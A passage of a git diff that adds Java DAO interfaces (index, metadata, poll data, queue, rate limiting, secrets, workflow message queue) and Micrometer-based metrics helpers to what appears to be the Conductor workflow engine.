+ void updateEventExecution(EventExecution eventExecution); + + /** + * @param eventExecution Event execution to be removed + */ + void removeEventExecution(EventExecution eventExecution); +} diff --git a/core/src/main/java/com/netflix/conductor/dao/IndexDAO.java b/core/src/main/java/com/netflix/conductor/dao/IndexDAO.java new file mode 100644 index 0000000..18c3d82 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/IndexDAO.java @@ -0,0 +1,250 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.List; +import java.util.concurrent.CompletableFuture; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; + +/** DAO to index the workflow and task details for searching. */ +public interface IndexDAO { + + /** Setup method in charge or initializing/populating the index. */ + void setup() throws Exception; + + /** + * This method should return an unique identifier of the indexed doc + * + * @param workflow Workflow to be indexed + */ + void indexWorkflow(WorkflowSummary workflow); + + /** + * This method should return an unique identifier of the indexed doc + * + * @param workflow Workflow to be indexed + * @return CompletableFuture of type void + */ + CompletableFuture asyncIndexWorkflow(WorkflowSummary workflow); + + /** + * @param task Task to be indexed + */ + void indexTask(TaskSummary task); + + /** + * @param task Task to be indexed asynchronously + * @return CompletableFuture of type void + */ + CompletableFuture asyncIndexTask(TaskSummary task); + + /** + * @param query SQL like query for workflow search parameters. + * @param freeText Additional query in free text. Lucene syntax + * @param start start start index for pagination + * @param count count # of workflow ids to be returned + * @param sort sort options + * @return List of workflow ids for the matching query + */ + SearchResult searchWorkflows( + String query, String freeText, int start, int count, List sort); + + /** + * @param query SQL like query for workflow search parameters. + * @param freeText Additional query in free text. Lucene syntax + * @param start start start index for pagination + * @param count count # of workflow ids to be returned + * @param sort sort options + * @return List of workflows for the matching query + */ + SearchResult searchWorkflowSummary( + String query, String freeText, int start, int count, List sort); + + /** + * @param query SQL like query for task search parameters. + * @param freeText Additional query in free text. Lucene syntax + * @param start start start index for pagination + * @param count count # of task ids to be returned + * @param sort sort options + * @return List of task ids for the matching query + */ + SearchResult searchTasks( + String query, String freeText, int start, int count, List sort); + + /** + * @param query SQL like query for task search parameters. + * @param freeText Additional query in free text. Lucene syntax + * @param start start start index for pagination + * @param count count # of task ids to be returned + * @param sort sort options + * @return List of tasks for the matching query + */ + SearchResult searchTaskSummary( + String query, String freeText, int start, int count, List sort); + + /** + * Remove the workflow index + * + * @param workflowId workflow to be removed + */ + void removeWorkflow(String workflowId); + + /** + * Remove the workflow index + * + * @param workflowId workflow to be removed + * @return CompletableFuture of type void + */ + CompletableFuture asyncRemoveWorkflow(String workflowId); + + /** + * Updates the index + * + * @param workflowInstanceId id of the workflow + * @param keys keys to be updated + * @param values values. Number of keys and values MUST match. + */ + void updateWorkflow(String workflowInstanceId, String[] keys, Object[] values); + + /** + * Updates the index + * + * @param workflowInstanceId id of the workflow + * @param keys keys to be updated + * @param values values. Number of keys and values MUST match. + * @return CompletableFuture of type void + */ + CompletableFuture asyncUpdateWorkflow( + String workflowInstanceId, String[] keys, Object[] values); + + /** + * Remove the task index + * + * @param workflowId workflow containing task + * @param taskId task to be removed + */ + void removeTask(String workflowId, String taskId); + + /** + * Remove the task index asynchronously + * + * @param workflowId workflow containing task + * @param taskId task to be removed + * @return CompletableFuture of type void + */ + CompletableFuture asyncRemoveTask(String workflowId, String taskId); + + /** + * Updates the index + * + * @param workflowId id of the workflow + * @param taskId id of the task + * @param keys keys to be updated + * @param values values. Number of keys and values MUST match. + */ + void updateTask(String workflowId, String taskId, String[] keys, Object[] values); + + /** + * Updates the index + * + * @param workflowId id of the workflow + * @param taskId id of the task + * @param keys keys to be updated + * @param values values. Number of keys and values MUST match. + * @return CompletableFuture of type void + */ + CompletableFuture asyncUpdateTask( + String workflowId, String taskId, String[] keys, Object[] values); + + /** + * Retrieves a specific field from the index + * + * @param workflowInstanceId id of the workflow + * @param key field to be retrieved + * @return value of the field as string + */ + String get(String workflowInstanceId, String key); + + /** + * @param logs Task Execution logs to be indexed + */ + void addTaskExecutionLogs(List logs); + + /** + * @param logs Task Execution logs to be indexed + * @return CompletableFuture of type void + */ + CompletableFuture asyncAddTaskExecutionLogs(List logs); + + /** + * @param taskId Id of the task for which to fetch the execution logs + * @return Returns the task execution logs for given task id + */ + List getTaskExecutionLogs(String taskId); + + /** + * @param eventExecution Event Execution to be indexed + */ + void addEventExecution(EventExecution eventExecution); + + List getEventExecutions(String event); + + /** + * @param eventExecution Event Execution to be indexed + * @return CompletableFuture of type void + */ + CompletableFuture asyncAddEventExecution(EventExecution eventExecution); + + /** + * Adds an incoming external message into the index + * + * @param queue Name of the registered queue + * @param msg Message + */ + void addMessage(String queue, Message msg); + + /** + * Adds an incoming external message into the index + * + * @param queue Name of the registered queue + * @param message {@link Message} + * @return CompletableFuture of type Void + */ + CompletableFuture asyncAddMessage(String queue, Message message); + + List getMessages(String queue); + + /** + * Search for Workflows completed or failed beyond archiveTtlDays + * + * @param indexName Name of the index to search + * @param archiveTtlDays Archival Time to Live + * @return List of workflow Ids matching the pattern + */ + List searchArchivableWorkflows(String indexName, long archiveTtlDays); + + /** + * Get total workflow counts that matches the query + * + * @param query SQL like query for workflow search parameters. + * @param freeText Additional query in free text. Lucene syntax + * @return Number of matches for the query + */ + long getWorkflowCount(String query, String freeText); +} diff --git a/core/src/main/java/com/netflix/conductor/dao/MetadataDAO.java b/core/src/main/java/com/netflix/conductor/dao/MetadataDAO.java new file mode 100644 index 0000000..a4dd6af --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/MetadataDAO.java @@ -0,0 +1,128 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.List; +import java.util.Optional; +import java.util.stream.Collectors; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDefSummary; + +/** Data access layer for the workflow metadata - task definitions and workflow definitions */ +public interface MetadataDAO { + + /** + * @param taskDef task definition to be created + */ + TaskDef createTaskDef(TaskDef taskDef); + + /** + * @param taskDef task definition to be updated. + * @return name of the task definition + */ + TaskDef updateTaskDef(TaskDef taskDef); + + /** + * @param name Name of the task + * @return Task Definition + */ + TaskDef getTaskDef(String name); + + /** + * @return All the task definitions + */ + List getAllTaskDefs(); + + /** + * @param name Name of the task + */ + void removeTaskDef(String name); + + /** + * @param def workflow definition + */ + void createWorkflowDef(WorkflowDef def); + + /** + * @param def workflow definition + */ + void updateWorkflowDef(WorkflowDef def); + + /** + * @param name Name of the workflow + * @return Workflow Definition + */ + Optional getLatestWorkflowDef(String name); + + /** + * @param name Name of the workflow + * @param version version + * @return workflow definition + */ + Optional getWorkflowDef(String name, int version); + + /** + * @param name Name of the workflow definition to be removed + * @param version Version of the workflow definition to be removed + */ + void removeWorkflowDef(String name, Integer version); + + /** + * @return List of all the workflow definitions + */ + List getAllWorkflowDefs(); + + /** + * @return List the latest versions of the workflow definitions + */ + List getAllWorkflowDefsLatestVersions(); + + /** + * Returns distinct workflow definition names without loading full definition bodies. + * Persistence modules should override this with an optimized query (e.g. SELECT DISTINCT name). + * + * @return sorted list of unique workflow names + */ + default List getWorkflowNames() { + return getAllWorkflowDefs().stream() + .map(WorkflowDef::getName) + .distinct() + .sorted() + .collect(Collectors.toList()); + } + + /** + * Returns lightweight version summaries for a single workflow, without loading full definition + * bodies. Persistence modules should override with an optimized query that avoids reading + * json_data. + * + * @param name workflow name + * @return list of version summaries sorted by version ascending + */ + default List getWorkflowVersions(String name) { + return getAllWorkflowDefs().stream() + .filter(def -> def.getName().equals(name)) + .sorted((a, b) -> Integer.compare(a.getVersion(), b.getVersion())) + .map( + def -> { + WorkflowDefSummary summary = new WorkflowDefSummary(); + summary.setName(def.getName()); + summary.setVersion(def.getVersion()); + summary.setCreateTime(def.getCreateTime()); + return summary; + }) + .collect(Collectors.toList()); + } +} diff --git a/core/src/main/java/com/netflix/conductor/dao/PollDataDAO.java b/core/src/main/java/com/netflix/conductor/dao/PollDataDAO.java new file mode 100644 index 0000000..7a1230d --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/PollDataDAO.java @@ -0,0 +1,59 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.List; + +import com.netflix.conductor.common.metadata.tasks.PollData; + +/** An abstraction to enable different PollData store implementations */ +public interface PollDataDAO { + + /** + * Updates the {@link PollData} information with the most recently polled data for a task queue. + * + * @param taskDefName name of the task as specified in the task definition + * @param domain domain in which this task is being polled from + * @param workerId the identifier of the worker polling for this task + */ + void updateLastPollData(String taskDefName, String domain, String workerId); + + /** + * Retrieve the {@link PollData} for the given task in the given domain. + * + * @param taskDefName name of the task as specified in the task definition + * @param domain domain for which {@link PollData} is being requested + * @return the {@link PollData} for the given task queue in the specified domain + */ + PollData getPollData(String taskDefName, String domain); + + /** + * Retrieve the {@link PollData} for the given task across all domains. + * + * @param taskDefName name of the task as specified in the task definition + * @return the {@link PollData} for the given task queue in all domains + */ + List getPollData(String taskDefName); + + /** + * Retrieve the {@link PollData} for all task types + * + * @return the {@link PollData} for all task types + */ + default List getAllPollData() { + throw new UnsupportedOperationException( + "The selected PollDataDAO (" + + this.getClass().getSimpleName() + + ") does not implement the getAllPollData() method"); + } +} diff --git a/core/src/main/java/com/netflix/conductor/dao/QueueDAO.java b/core/src/main/java/com/netflix/conductor/dao/QueueDAO.java new file mode 100644 index 0000000..69e4c67 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/QueueDAO.java @@ -0,0 +1,205 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.time.Duration; +import java.util.List; +import java.util.Map; + +import com.netflix.conductor.core.events.queue.Message; + +/** DAO responsible for managing queuing for the tasks. */ +public interface QueueDAO { + + /** + * @param queueName name of the queue + * @param id message id + * @param offsetTimeInSecond time in seconds, after which the message should be marked visible. + * (for timed queues) + */ + void push(String queueName, String id, long offsetTimeInSecond); + + /** + * @param queueName name of the queue + * @param id message id + * @param priority message priority (between 0 and 99) + * @param offsetTimeInSecond time in seconds, after which the message should be marked visible. + * (for timed queues) + */ + void push(String queueName, String id, int priority, long offsetTimeInSecond); + + /** + * @param queueName name of the queue + * @param id message id + * @param priority message priority (between 0 and 99) + * @param offsetTime time after which the message should be marked visible. + */ + default void push(String queueName, String id, int priority, Duration offsetTime) { + push(queueName, id, priority, offsetTime.getSeconds()); + } + + /** + * @param queueName Name of the queue + * @param messages messages to be pushed. + */ + void push(String queueName, List messages); + + /** + * @param queueName Name of the queue + * @param id message id + * @param offsetTimeInSecond time in seconds, after which the message should be marked visible. + * (for timed queues) + * @return true if the element was added to the queue. false otherwise indicating the element + * already exists in the queue. + */ + boolean pushIfNotExists(String queueName, String id, long offsetTimeInSecond); + + /** + * @param queueName Name of the queue + * @param id message id + * @param priority message priority (between 0 and 99) + * @param offsetTimeInSecond time in seconds, after which the message should be marked visible. + * (for timed queues) + * @return true if the element was added to the queue. false otherwise indicating the element + * already exists in the queue. + */ + boolean pushIfNotExists(String queueName, String id, int priority, long offsetTimeInSecond); + + /** + * @param queueName Name of the queue + * @param count number of messages to be read from the queue + * @param timeout timeout in milliseconds + * @return list of elements from the named queue + */ + List pop(String queueName, int count, int timeout); + + /** + * @param queueName Name of the queue + * @param count number of messages to be read from the queue + * @param timeout timeout in milliseconds + * @return list of elements from the named queue + */ + List pollMessages(String queueName, int count, int timeout); + + /** + * @param queueName Name of the queue + * @param messageId Message id + */ + void remove(String queueName, String messageId); + + /** + * @param queueName Name of the queue + * @return size of the queue + */ + int getSize(String queueName); + + /** + * @param queueName Name of the queue + * @param messageId Message Id + * @return true if the message was found and ack'ed + */ + boolean ack(String queueName, String messageId); + + /** + * Extend the lease of the unacknowledged message for longer period. + * + * @param queueName Name of the queue + * @param messageId Message Id + * @param unackTimeout timeout in milliseconds for which the unack lease should be extended. + * (replaces the current value with this value) + * @return true if the message was updated with extended lease. false otherwise. + */ + boolean setUnackTimeout(String queueName, String messageId, long unackTimeout); + + /** + * Updates the unack timeout only if the new value would result in an earlier delivery than the + * currently scheduled time — i.e. never postpones further than what is already set. + * + *

    Implementations should perform this as an atomic compare-and-set where possible (e.g. + * {@code ZADD XX LT} in Redis, {@code LEAST(deliver_on, …)} in SQL). The default falls back to + * an unconditional {@link #setUnackTimeout}. + * + * @param queueName Name of the queue + * @param messageId Message Id + * @param unackTimeout timeout in milliseconds + * @return true if the timeout was updated + */ + default boolean setUnackTimeoutIfShorter( + String queueName, String messageId, long unackTimeout) { + return setUnackTimeout(queueName, messageId, unackTimeout); + } + + /** + * @param queueName Name of the queue + */ + void flush(String queueName); + + /** + * @return key : queue name, value: size of the queue + */ + Map queuesDetail(); + + /** + * @return key : queue name, value: map of shard name to size and unack queue size + */ + Map>> queuesDetailVerbose(); + + default void processUnacks(String queueName) {} + + /** + * Resets the offsetTime on a message to 0, without pulling out the message from the queue + * + * @param queueName name of the queue + * @param id message id + * @return true if the message is in queue and the change was successful else returns false + */ + boolean resetOffsetTime(String queueName, String id); + + /** + * Postpone a given message with postponeDurationInSeconds, so that the message won't be + * available for further polls until specified duration. By default, the message is removed and + * pushed backed with postponeDurationInSeconds to be backwards compatible. + * + * @param queueName name of the queue + * @param messageId message id + * @param priority message priority (between 0 and 99) + * @param postponeDurationInSeconds duration in seconds by which the message is to be postponed + */ + default boolean postpone( + String queueName, String messageId, int priority, long postponeDurationInSeconds) { + remove(queueName, messageId); + push(queueName, messageId, priority, postponeDurationInSeconds); + return true; + } + + /** + * Check if the message with given messageId exists in the Queue. + * + * @param queueName + * @param messageId + * @return + */ + default boolean containsMessage(String queueName, String messageId) { + throw new UnsupportedOperationException( + "Please ensure your provided Queue implementation overrides and implements this method."); + } + + /** + * Returns the first {@code count} message ids in the queue ordered by score, regardless of + * whether their visibility time has elapsed. Intended for inspecting or releasing postponed + * messages without popping them. + */ + default List peekFirstIds(String queueName, int count) { + return List.of(); + } +} diff --git a/core/src/main/java/com/netflix/conductor/dao/RateLimitingDAO.java b/core/src/main/java/com/netflix/conductor/dao/RateLimitingDAO.java new file mode 100644 index 0000000..65ad25f --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/RateLimitingDAO.java @@ -0,0 +1,30 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.model.TaskModel; + +/** An abstraction to enable different Rate Limiting implementations */ +public interface RateLimitingDAO { + + /** + * Checks if the Task is rate limited or not based on the {@link + * TaskModel#getRateLimitPerFrequency()} and {@link TaskModel#getRateLimitFrequencyInSeconds()} + * + * @param task: which needs to be evaluated whether it is rateLimited or not + * @return true: If the {@link TaskModel} is rateLimited false: If the {@link TaskModel} is not + * rateLimited + */ + boolean exceedsRateLimitPerFrequency(TaskModel task, TaskDef taskDef); +} diff --git a/core/src/main/java/com/netflix/conductor/dao/SecretsDAO.java b/core/src/main/java/com/netflix/conductor/dao/SecretsDAO.java new file mode 100644 index 0000000..02a4a77 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/SecretsDAO.java @@ -0,0 +1,27 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.List; + +public interface SecretsDAO { + String getSecret(String name); + + boolean secretExists(String name); + + List listSecretNames(); + + void putSecret(String name, String value); + + void deleteSecret(String name); +} diff --git a/core/src/main/java/com/netflix/conductor/dao/WorkflowMessageQueueDAO.java b/core/src/main/java/com/netflix/conductor/dao/WorkflowMessageQueueDAO.java new file mode 100644 index 0000000..291dd16 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/WorkflowMessageQueueDAO.java @@ -0,0 +1,63 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.List; + +import com.netflix.conductor.common.model.WorkflowMessage; + +/** + * DAO for the per-workflow message queue used by the Workflow Message Queue (WMQ) feature. + * + *

    Each workflow has at most one queue, identified by its workflow ID. Messages are ordered FIFO. + * Implementations must guarantee that {@link #pop} is atomic — concurrent callers must not receive + * overlapping messages. + */ +public interface WorkflowMessageQueueDAO { + + /** + * Append a message to the tail of the workflow's queue. + * + * @param workflowId the target workflow instance ID + * @param message the message to enqueue + * @throws IllegalStateException if the queue has reached the configured maximum size + */ + void push(String workflowId, WorkflowMessage message); + + /** + * Atomically remove and return up to {@code maxCount} messages from the head of the queue. + * + *

    Returns an empty list (never null) if the queue is empty. + * + * @param workflowId the target workflow instance ID + * @param maxCount maximum number of messages to return; must be >= 1 + * @return dequeued messages, oldest first + */ + List pop(String workflowId, int maxCount); + + /** + * Return the current number of messages in the queue without removing any. + * + * @param workflowId the target workflow instance ID + * @return queue depth, or 0 if the queue does not exist + */ + long size(String workflowId); + + /** + * Delete the entire queue for the given workflow. Called on workflow termination. Safe to call + * if no queue exists (no-op). + * + * @param workflowId the workflow instance ID whose queue should be removed + */ + void delete(String workflowId); +} diff --git a/core/src/main/java/com/netflix/conductor/metrics/MetricsCollector.java b/core/src/main/java/com/netflix/conductor/metrics/MetricsCollector.java new file mode 100644 index 0000000..1917566 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/metrics/MetricsCollector.java @@ -0,0 +1,48 @@ +/* + * Copyright 2025 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.metrics; + +import org.springframework.stereotype.Component; + +import io.micrometer.core.instrument.MeterRegistry; +import lombok.extern.slf4j.Slf4j; + +/** + * Spring component that registers all available {@link MeterRegistry} instances with {@link + * Monitors} at startup. Monitors owns the composite registry; this class is purely a wiring point + * between Spring-managed registries and the static Monitors API. + */ +@Slf4j +@Component +public class MetricsCollector { + + public MetricsCollector(MeterRegistry... registries) { + log.info("========="); + log.info("Conductor configured with {} metrics registries", registries.length); + for (MeterRegistry registry : registries) { + log.info("Metrics registry: {}", registry); + Monitors.addMeterRegistry(registry); + } + log.info( + "check https://docs.micrometer.io/micrometer/reference/ for configuration options"); + log.info("========="); + } + + /** + * @deprecated Use {@link Monitors#getRegistry()} directly. + */ + @Deprecated + public static MeterRegistry getMeterRegistry() { + return Monitors.getRegistry(); + } +} diff --git a/core/src/main/java/com/netflix/conductor/metrics/Monitors.java b/core/src/main/java/com/netflix/conductor/metrics/Monitors.java new file mode 100644 index 0000000..011f129 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/metrics/Monitors.java @@ -0,0 +1,504 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.metrics; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.TimeUnit; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.google.common.util.concurrent.AtomicDouble; +import io.micrometer.core.instrument.Counter; +import io.micrometer.core.instrument.DistributionSummary; +import io.micrometer.core.instrument.Gauge; +import io.micrometer.core.instrument.ImmutableTag; +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Timer; +import io.micrometer.core.instrument.composite.CompositeMeterRegistry; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +public class Monitors { + public static final String NO_DOMAIN = "NO_DOMAIN"; + + private static final CompositeMeterRegistry registry = new CompositeMeterRegistry(); + + static { + // Always include an in-process registry so meters are never dropped + // before a real registry is wired in by MetricsCollector. + registry.add(new SimpleMeterRegistry()); + } + + /** + * Returns the shared composite registry. Callers may add common tags via {@code + * getRegistry().config()}. + */ + public static MeterRegistry getRegistry() { + return registry; + } + + /** Register an additional {@link MeterRegistry}. Called by MetricsCollector on startup. */ + public static void addMeterRegistry(MeterRegistry meterRegistry) { + registry.add(meterRegistry); + } + + private static final double[] percentiles = new double[] {0.5, 0.75, 0.90, 0.95, 0.99}; + private static final Map gauges = new ConcurrentHashMap<>(); + private static final Map counters = new ConcurrentHashMap<>(); + private static final Map timers = new ConcurrentHashMap<>(); + private static final Map distributionSummaries = + new ConcurrentHashMap<>(); + + private Monitors() {} + + public static Counter getCounter(String name, String... tags) { + String key = name + Arrays.toString(tags); + return counters.computeIfAbsent( + key, s -> Counter.builder(name).tags(toTags(tags)).register(registry)); + } + + public static Timer getTimer(String name, String... tags) { + String key = name + Arrays.toString(tags); + return timers.computeIfAbsent( + key, + s -> + Timer.builder(name) + .tags(toTags(tags)) + .publishPercentiles(percentiles) + .register(registry)); + } + + public static DistributionSummary distributionSummary(String name, String... tags) { + String key = name + Arrays.toString(tags); + return distributionSummaries.computeIfAbsent( + key, + s -> + DistributionSummary.builder(name) + .tags(toTags(tags)) + .publishPercentileHistogram() + .register(registry)); + } + + public static AtomicDouble gauge(String name, String... tags) { + String key = name + Arrays.toString(tags); + + return gauges.computeIfAbsent( + key, + s -> { + AtomicDouble value = new AtomicDouble(0); + Gauge.builder(name, () -> value).tags(toTags(tags)).register(registry); + return value; + }); + } + + /** Alias for {@link #gauge(String, String...)} — preferred name for new call sites. */ + public static AtomicDouble getGauge(String name, String... tags) { + return gauge(name, tags); + } + + /** + * Alias for {@link #distributionSummary(String, String...)} — preferred name for new call + * sites. + */ + public static DistributionSummary getDistributionSummary(String name, String... tags) { + return distributionSummary(name, tags); + } + + private static Iterable toTags(String... kv) { + List tags = new ArrayList<>(); + for (int i = 0; i < kv.length - 1; i += 2) { + String key = kv[i]; + String value = kv[i + 1]; + if (key == null || value == null) { + continue; + } + Tag tag = new ImmutableTag(key, value); + tags.add(tag); + } + return tags; + } + + /** + * Increment a counter that is used to measure the rate at which some event is occurring. + * Consider a simple queue, counters would be used to measure things like the rate at which + * items are being inserted and removed. + * + * @param name + * @param additionalTags + */ + private static void counter(String name, String... additionalTags) { + getCounter(name, additionalTags).increment(); + } + + /** + * Set a gauge is a handle to get the current value. Typical examples for gauges would be the + * size of a queue or number of threads in the running state. Since gauges are sampled, there is + * no information about what might have occurred between samples. + * + * @param name + * @param measurement + * @param additionalTags + */ + private static void gauge(String name, long measurement, String... additionalTags) { + gauge(name, additionalTags).set(measurement); + } + + /** + * @param className Name of the class + * @param methodName Method name + */ + public static void error(String className, String methodName) { + getCounter("workflow_server_error", "class", className, "methodName", methodName) + .increment(); + } + + public static void recordGauge(String name, long count) { + gauge(name, count); + } + + public static void recordQueueWaitTime(String taskType, long queueWaitTime) { + getTimer("task_queue_wait", "taskType", taskType) + .record(queueWaitTime, TimeUnit.MILLISECONDS); + } + + public static void recordTaskExecutionTime( + String taskType, long duration, boolean includesRetries, TaskModel.Status status) { + getTimer( + "task_execution", + "taskType", + taskType, + "includeRetries", + "" + includesRetries, + "status", + status.name()) + .record(duration, TimeUnit.MILLISECONDS); + } + + public static void recordWorkflowDecisionTime(long duration) { + getTimer("workflow_decision").record(duration, TimeUnit.MILLISECONDS); + } + + public static void recordTaskPollError(String taskType, String exception) { + recordTaskPollError(taskType, NO_DOMAIN, exception); + } + + public static void recordTaskPollError(String taskType, String domain, String exception) { + counter("task_poll_error", "taskType", taskType, "domain", domain, "exception", exception); + } + + public static void recordTaskPoll(String taskType) { + counter("task_poll", "taskType", taskType); + } + + public static void recordTaskPollCount(String taskType, int count) { + recordTaskPollCount(taskType, NO_DOMAIN, count); + } + + public static void recordTaskPollCount(String taskType, String domain, int count) { + getCounter("task_poll_count", "taskType", taskType, "domain", "" + domain).increment(count); + } + + public static void recordQueueDepth(String taskType, long size, String ownerApp) { + gauge( + "task_queue_depth", + size, + "taskType", + taskType, + "ownerApp", + StringUtils.defaultIfBlank(ownerApp, "unknown")); + } + + public static void recordEventQueueDepth(String queueType, long size) { + gauge("event_queue_depth", size, "queueType", queueType); + } + + public static void recordTaskInProgress(String taskType, long size, String ownerApp) { + gauge( + "task_in_progress", + size, + "taskType", + taskType, + "ownerApp", + StringUtils.defaultIfBlank(ownerApp, "unknown")); + } + + public static void recordRunningWorkflows(long count, String name, String ownerApp) { + gauge( + "workflow_running", + count, + "workflowName", + name, + "ownerApp", + StringUtils.defaultIfBlank(ownerApp, "unknown")); + } + + public static void recordNumTasksInWorkflow(long count, String name, String version) { + distributionSummary("tasks_in_workflow", "workflowName", name, "version", version) + .record(count); + } + + public static void recordTaskTimeout(String taskType) { + counter("task_timeout", "taskType", taskType); + } + + public static void recordTaskResponseTimeout(String taskType) { + counter("task_response_timeout", "taskType", taskType); + } + + public static void recordTaskPendingTime(String taskType, String workflowType, long duration) { + gauge("task_pending_time", duration, "workflowName", workflowType, "taskType", taskType); + } + + public static void recordWorkflowTermination( + String workflowType, WorkflowModel.Status status, String ownerApp) { + counter( + "workflow_failure", + "workflowName", + workflowType, + "status", + status.name(), + "ownerApp", + StringUtils.defaultIfBlank(ownerApp, "unknown")); + } + + public static void recordWorkflowStartSuccess( + String workflowType, String version, String ownerApp) { + counter( + "workflow_start_success", + "workflowName", + workflowType, + "version", + version, + "ownerApp", + StringUtils.defaultIfBlank(ownerApp, "unknown")); + } + + public static void recordWorkflowStartError(String workflowType, String ownerApp) { + counter( + "workflow_start_error", + "workflowName", + workflowType, + "ownerApp", + StringUtils.defaultIfBlank(ownerApp, "unknown")); + } + + public static void recordUpdateConflict( + String taskType, String workflowType, WorkflowModel.Status status) { + counter( + "task_update_conflict", + "workflowName", + workflowType, + "taskType", + taskType, + "workflowStatus", + status.name()); + } + + public static void recordUpdateConflict( + String taskType, String workflowType, TaskModel.Status status) { + counter( + "task_update_conflict", + "workflowName", + workflowType, + "taskType", + taskType, + "taskStatus", + status.name()); + } + + public static void recordTaskUpdateError(String taskType, String workflowType) { + counter("task_update_error", "workflowName", workflowType, "taskType", taskType); + } + + public static void recordTaskExtendLeaseError(String taskType, String workflowType) { + counter("task_extendLease_error", "workflowName", workflowType, "taskType", taskType); + } + + public static void recordTaskQueueOpError(String taskType, String workflowType) { + 